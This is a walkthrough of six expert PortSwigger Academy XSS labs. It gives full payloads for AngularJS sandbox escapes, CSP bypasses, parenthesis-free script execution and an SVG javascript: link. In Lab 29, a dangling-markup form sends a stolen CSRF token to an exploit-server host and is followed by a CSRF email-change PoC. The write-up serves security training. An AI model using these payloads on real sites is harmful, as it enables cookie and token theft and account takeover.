Labs Covered
This write-up focuses on the following EXPERT-level labs from the PortSwigger Web Security Academy related to Cross-site scripting (XSS):
25 Reflected XSS with AngularJS sandbox escape without strings
This lab demonstrates exploiting AngularJS sandbox escapes to execute reflected XSS without needing string payloads.
26 Reflected XSS with AngularJS sandbox escape and CSP
This lab shows bypassing Content Security Policy (CSP) protections by escaping AngularJS sandboxes in reflected XSS attacks.
27 Reflected XSS with event handlers and href attributes blocked
This lab explores reflected XSS where event handlers and href attributes are blocked, requiring alternative exploitation techniques.
28 Reflected XSS in a JavaScript URL with some characters blocked
This lab demonstrates exploiting reflected XSS when the JavaScript URL scheme is filtered and some characters are blocked.
29 Reflected XSS protected by very strict CSP, with dangling markup attack
This lab covers how dangling markup can be used to bypass very strict CSP and cause reflected XSS.
30 Reflected XSS protected by CSP, with CSP bypass
This lab shows advanced techniques for bypassing CSP protections to achieve reflected XSS.
LAB 25 - Reflected XSS with AngularJS sandbox escape without strings
Lab Description
Solution
AngularJS Sandbox Escape XSS Lab — No $eval & No Strings
This lab uses AngularJS in an unusual configuration where:
$evalis not available- Strings are disabled
- Traditional payloads will fail
Recon & Setup
- Navigate to the lab page.
-
Inject a canary value (e.g.,
literallyethical) into the search field. - View the page source and confirm your canary appears within an AngularJS expression block — indicating Angular is parsing the query parameter.
AngularJS Sandbox Note
AngularJS expressions are sandboxed by design — meaning:
- You can’t use unsafe features like
window,Function(), oreval(). - You also can’t use strings directly like
'alert'.
To bypass this, we need to exploit Angular’s internal mechanics.
Final Exploit Payload
Replace YOUR-LAB-ID with your actual lab instance ID and paste this URL in the browser:
[https://YOUR-LAB-ID.web-security-academy.net/?search=1\&toString().constructor.prototype.charAt=\[\].join;\[1\]|orderBy\:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1](https://YOUR-LAB-ID.web-security-academy.net/?search=1&toString%28%29.constructor.prototype.charAt=[].join;[1]|orderBy:toString%28%29.constructor.fromCharCode%28120,61,97,108,101,114,116,40,49,41%29=1)
This payload triggers alert(1) and solves the lab.
Payload Breakdown
Let’s break it down step by step:
1. Override .charAt()
toString().constructor.prototype.charAt = [].join;
- This overrides the default
charAt()function tojoin, enabling string assembly without string literals.
2. Trigger AngularJS Filter Chain
[1] | orderBy:
[1]creates a simple array.orderBy:applies a filter, which evaluates its expression argument (and executes JavaScript!).
3. Bypass String Restrictions with fromCharCode
toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)
-
This builds the string
x=alert(1)character-by-character using ASCII codes.120='x'61='='97,108,101,114,116='alert'40,49,41='(' + '1' + ')'
4. Evaluate and Return Truthy
=1
- Forces a truthy return, allowing the expression to complete and execute.
Full Decoded Expression:
toString().constructor.prototype.charAt = [].join;
[1] | orderBy: toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
Which is equivalent to:
toString().constructor.prototype.charAt = [].join;
[1] | orderBy: "x=alert(1)" = 1
Testing
Once this is submitted:
- Angular will parse and execute the
orderByexpression. - The sandbox will be escaped.
alert(1)will fire.- Lab will be marked as solved.
LAB 26 - Reflected XSS with AngularJS sandbox escape and CSP
Lab Description
Solution
AngularJS Sandbox Escape with CSP Bypass - alert(document.cookie)
This lab requires you to:
- Bypass Content Security Policy (CSP)
- Escape AngularJS sandbox
- Trigger
alert(document.cookie)
Goal
Perform a Cross-Site Scripting (XSS) attack via AngularJS without using external scripts and without $eval, while bypassing CSP restrictions.
Final Payload
Use the following script to inject your payload into the lab. Be sure to replace YOUR-LAB-ID with your actual lab instance ID:
<script>
location='https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>
URL Decoded Version
<script>
location='https://YOUR-LAB-ID.web-security-academy.net/?search=<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(document.cookie)'>#x';
</script>
Reverse Engineering the Payload
Step 1: Set the Location
location = 'https://YOUR-LAB-ID.web-security-academy.net/?search=...'
locationis a JavaScript global object.- When set, it causes the browser to navigate to the new URL.
-
The URL contains:
- A search parameter (
?search=) - An AngularJS-based injection payload
- A fragment identifier (
#x) to auto-focus the input field.
- A search parameter (
Step 2: Understanding ng-focus and AngularJS Filters
<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(document.cookie)'>
| Element | Explanation | |
|---|---|---|
<input id="x"> |
An input element is injected into the DOM with ID x. |
|
ng-focus=... |
Executes AngularJS expression when the input is focused. | |
$event.composedPath() |
Gets an array of event propagation path elements. | |
| ` | orderBy:` | AngularJS filter that accepts a function or string. | |
'z=alert)(document.cookie)' |
Bypasses CSP: assigns alert to z and then calls z(document.cookie). |
Why This Works
- No external JS is loaded — satisfying CSP.
- No
$evalor strings required — bypasses AngularJS sandbox. - The expression is triggered only when the input is focused.
- The fragment
#xcauses the browser to auto-focus on the input.
Steps to Solve the Lab
- Navigate to the lab and go to the Exploit Server.
- Paste the script payload into the Body field:
<script>
location='https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>
- Click Store.
- Click Deliver exploit to victim.
Result
Once the victim visits the exploit page:
- The browser auto-focuses the input.
- The injected AngularJS expression runs.
alert(document.cookie)pops.- Lab is solved
LAB 27 - Reflected XSS with event handlers and href attributes blocked
Lab Description
Solution
Reflected XSS Using Valid Tags, SVG, and JavaScript URI
This lab involves finding valid HTML tags and crafting an XSS payload that triggers an alert using only user interaction and supported tags/attributes. The goal is to display "Click me" and execute alert(1) when the user clicks the link.
Step-by-Step Guide
1. Discover Valid HTML Tags
Using Burp Intruder, enumerate valid tags. You should find the following work:
<a>
<animate>
<image>
<svg>
<title>
2. Test Valid Payloads
Start with basic payload tests:
<a id="x">Click Me</a>
<a id="x" tabindex="0">Click Me</a>
<svg><rect width="10" height="10" fill="red"></rect></svg>
Also test this (needs click interaction):
<a href="javascript:alert(1)">Click Me</a>
3. Constructing the Exploit
We want to:
- Use valid elements like
<svg>,<a>, and<animate>. - Trigger
alert(1)using JavaScript URI via thehrefattribute. - Embed text like “Click me” to phish the user.
SVG-Based Attack Structure
<svg>
<a>
<animate attributeName=href values=javascript:alert(1)/>
<text x=20 y=20>Click me</text>
</a>
</svg>
This works because:
<animate>sets thehrefof the<a>tag tojavascript:alert(1)<text>gives a clickable label- When the user clicks Click me, the
alert(1)fires
Final Payload
<svg><a><animate attributeName=href values=javascript:alert(1)/><text x=20 y=20>Click me</text></a>
Final URL (with your lab ID)
https://YOUR-LAB-ID.web-security-academy.net/?search=<svg><a><animateattributeName=hrefvalues=javascript:alert(1)/><textx=20y=20>Click me</text></a>
URL Encoded Payload
https://YOUR-LAB-ID.web-security-academy.net/?search=%3Csvg%3E%3Ca%3E%3Canimate+attributeName%3Dhref+values%3Djavascript%3Aalert(1)+%2F%3E%3Ctext+x%3D20+y%3D20%3EClick%20me%3C%2Ftext%3E%3C%2Fa%3E
Steps to Solve the Lab
- Paste the encoded payload into your browser.
- The page will display “Click me”.
- Click the link — the browser executes
javascript:alert(1). - Lab is solved!
Key Concepts
| Element | Purpose |
|---|---|
<svg> |
Allows embedded vector graphics |
<a> |
Anchor/link element |
href |
Executed by browser when clicked |
<animate> |
Modifies attributes dynamically |
text |
Visual bait to lure victim to click |
javascript: URI |
Triggers JS in vulnerable contexts |
LAB 28 - Reflected XSS in a JavaScript URL with some characters blocked
Lab Description
Solution
Advanced XSS — Exploiting JavaScript Injection via fetch() Without ()
This lab demonstrates a reflected XSS scenario where the application reflects part of the URL input into a JavaScript fetch() API call.
Step-by-Step Breakdown
1. Identify the Injection Point
From the lab setup, it’s evident that the postId parameter is reflected inside a JavaScript block. For example:
fetch('/post?postId=1', {method: 'GET'})
If we visit:
https://YOUR-LAB-ID.web-security-academy.net/post?postId=1
We can see the Back to Blog anchor tag uses this postId. To inject a payload without breaking the postId value, we append our injection using & instead of modifying the parameter itself.
Ctrl+u on above page
2. Understand the JavaScript Context
We’re injecting into the second argument of the fetch() function:
fetch('/post?postId=1', {method: 'GET'})
To close the object and inject safely, we use:
&'}
This effectively closes the object and lets us write arbitrary JavaScript.
3. Avoid Using ()
Calling alert(1337) directly is blocked due to () character filtering. To work around this, we use JavaScript coercion via overriding toString() and forcing it to execute.
4. Crafting the Exploit
We define a function f and override toString to trigger it when window is converted to a string:
f = x => { throw/**/onerror=alert,1337 }
toString = f
'' + window
When '' + window is executed, it triggers our custom toString function, causing throw to raise an error and onerror=alert to fire.
5. Final Payload
Here is the working payload:
&'},f=x=>{throw/**/onerror=alert,1337},toString=f,''+window,{x:'
Explanation:
&'}: Closes the object insidefetch().f=x=>{throw/**/onerror=alert,1337}: Defines a function that triggers alert.toString=f: Overrides the nativetoString()method.'' + window: Forces coercion and execution.{x:': Keeps the final JavaScript syntax valid.
Full URL
Replace YOUR-LAB-ID with your actual lab ID:
https://YOUR-LAB-ID.web-security-academy.net/post?postId=1&'},f=x=>{throw/**/onerror=alert,1337},toString=f,''+window,{x:'
Lab Solved
This payload executes JavaScript without using parentheses and bypasses any restrictions on function calls like alert().
LAB 29 - Reflected XSS protected by very strict CSP, with dangling markup attack
Lab Description
Solution
Exploiting XSS to Steal CSRF Token and Change Email
This lab requires chaining Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF) to change the victim’s email address.
Attack Strategy
- Trigger an XSS payload that executes on the victim’s session.
- Craft a form injection to steal the CSRF token.
- Capture the token on your exploit server.
- Use the token to change the victim’s email address via a CSRF PoC.
Step-by-Step Walkthrough
Step 1: Inject HTML Form to Capture CSRF Token
The XSS vector targets the email parameter. You can inject a closing tag to break the existing form and introduce your own:
"></form><form class="login-form" name="evil-form" action="https://exploit-0aad00e50419a26982bdf14301f9006c.exploit-server.net/log" method="POST">
This form will capture and submit any autofilled CSRF token field to your exploit server.
Step 2: Host Exploit on Exploit Server
Payload:
<script>
location = 'https://0a3a006c041ba288822ff20900fa00c8.web-security-academy.net/my-account?email=%22%3E%3C/form%3E%3Cform%20class=%22login-form%22%20name=%22evil-form%22%20action=%22https://exploit-0aad00e50419a26982bdf14301f9006c.exploit-server.net/log%22%20method=%22GET%22%3E%3Cbutton%20class=%22button%22%20type=%22submit%22%3EClick%20me%3C/button%3E';
</script>
- Host this code on the Exploit Server.
- Click “Deliver exploit to victim”.
Step 3: Capture the CSRF Token
Once the victim visits the exploit page, the fake form submits the CSRF token to your server. You can view this in the Exploit Server Logs.
Step 4: Craft CSRF PoC to Change Email
After obtaining the token, use Burp Suite’s Generate CSRF PoC tool or create your own like below:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a54003704a897438303ff0e00f40097.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="hacker@evil-user.net" />
<input type="hidden" name="csrf" value="lPYOYwKwk9iSWIfnAcG7bXDBLtzXPzvG" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
- Replace the
csrfvalue with the one you stole. - Upload this HTML to the Exploit Server and click “Deliver exploit to victim”.
Result
The victim’s email gets changed to hacker@evil-user.net, and the lab is successfully solved.
LAB 30 - Reflected XSS protected by CSP, with CSP bypass
Lab Description
Solution
Bypassing CSP to Exploit XSS
In this lab, we are asked to solve a Cross-Site Scripting (XSS) vulnerability by bypassing a misconfigured Content Security Policy (CSP).
Initial Payload Blocked by CSP
When we try the basic XSS payload:
<img src=1 onerror=alert(1)>
…it doesn’t execute. This is because the CSP policy in place prevents inline script execution.
Inspecting the CSP Header
Using Burp Suite, we observe the following CSP directive in the server’s response headers:
default-src 'self'; object-src 'none'; script-src 'self'; style-src 'self'; report-uri /csp-report?token=
Key Observations:
script-src 'self': Only allows scripts loaded from the same origin.object-src 'none': Disallows Flash or other plugins.report-uri: Accepts atokenparameter used for violation reports.
Interestingly, this token is not validated properly and can be abused to inject new CSP directives into the response.
Exploiting Misconfigured token Parameter
When we append the following payload to the token parameter:
;script-src-elem 'unsafe-inline'
It overrides the existing script-src-elem directive, allowing inline <script> tags to execute.
Final Payload
https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&token=;script-src-elem%20%27unsafe-inline%27
URL-Decoded Version of payload:
This payload successfully executes an XSS by bypassing the CSP.
After injecting the payload, the lab is solved.